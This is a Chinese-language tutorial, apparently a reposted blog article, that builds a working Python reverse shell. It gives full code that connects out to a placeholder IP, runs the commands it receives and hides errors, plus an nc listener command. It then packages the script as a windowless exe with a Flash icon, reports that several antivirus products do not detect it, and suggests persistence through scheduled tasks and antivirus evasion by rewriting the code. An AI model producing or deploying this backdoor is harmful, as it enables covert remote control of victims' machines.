要想实现简易远控,说的详细点就是反弹shell,首先要解决三个问题:
1.与服务端建立socket连接
2.在服务端命令执行
3.服务端把回显返回给客户端
这里我们用python实现,声明一下,涉及到的内容是网络编程,以下函数实现多半都是我百度的,所以有很多用法以及逻辑的实现都是欠考虑的QAQ
0x01 代码实现
#以下提到客户端/服务端均为相对概念 import socket import sys import subprocess s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#建立socket服务器,两个参数分别代表ipv4,tcp连接,套用模板不解释 try: #异常处理,屏蔽两种报错1.服务端主动连接目标积极拒绝 2.系统命令执行错误 s.connect(('x.x.x.x', 6666)) #主动连接目标ip+端口,注意里面是个元组 while True: #建立一个死循环,目的是为了维持socket连接,也就是长连接 d=s.recv(1024) #每次从建立的tcp连接里接受最多1字节的数据流 bytes if d: d = str(d, "utf-8").strip() #bytes转成str然后再strip去掉最后输入的换行 if d=='exit': s.close() sys.exit() #实现客户端输入exit可主动断开连接 c=subprocess.Popen(d,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) #利用子线程实行命令执行,可被异常捕获,据悉os.system不能被异常捕获 c.wait() STDOUT,STDERR=c.communicate() s.send(STDOUT.decode('cp936').encode('utf-8')) else: s.close() break #这里设置if else为了客户端强制退出时也可执行 except BaseException: s.close() #关闭连接并退出 sys.exit()
执行后本地测试
简单总结一下编写时要解决的一些问题:
1.tcp连接要是长连接,即连接后给个while
2.不能让服务端报错,采用异常处理让服务端从始至终无报错(包括但不限于连接时被拒绝报错,命令执行报错等)
3.一些函数的返回类型等的细节转换
这里客户端我们开启nc -lvvp 6666监听本地端口(版本问题 这里我的命令是lvv),用到工具netcat(瑞士军刀),端口连接/传shell/传文件/传信息的神器
服务端执行以上代码
0x02 代码小结
简单的远控的python实现,也可以说是nc反弹shell的功能简单实现,缺点还有很多,代码的鲁棒性不强,所有情况都是偏理想型,网络编程不熟,代码有待优化,对于免杀性的话,如果免杀效果不够,可以同功能不同代码实现的思路来进行,有种python沙箱逃逸的感觉了
0x03 打包exe测试
放到同一目录下然后打开cmd执行
Pyinstaller -F -w -i 1.ico flash.py
这里省的我们再去换ico了,执行后去dict目录下找到生成的exe
你能说不像那么回事么?
好的 这边继续测试一下exe文件
简单测试一下本机成功上线,解决了几个问题
1.客户端未开启监听,服务端积极连接被拒绝不报错
2.连接成功后任意输入命令不报错
缺点是火狐的网络监控可以发现
虚拟机上线实例:
断网360测了一下:
火绒测试:
然后虚拟机windefender也没报,未传vt,但应该是随便过的
0x04 总结
简单的不完美的python反弹shell的实现,代码部分有待完善,实际应用中可以用来配合计划任务。(at/schtasks)执行来进行权限的维持,也可以配合方糖来做一个上线提醒的功能,然后更完美的就是后渗透的部分了,俺也是菜菜初学者,就这样.
转自:ms08067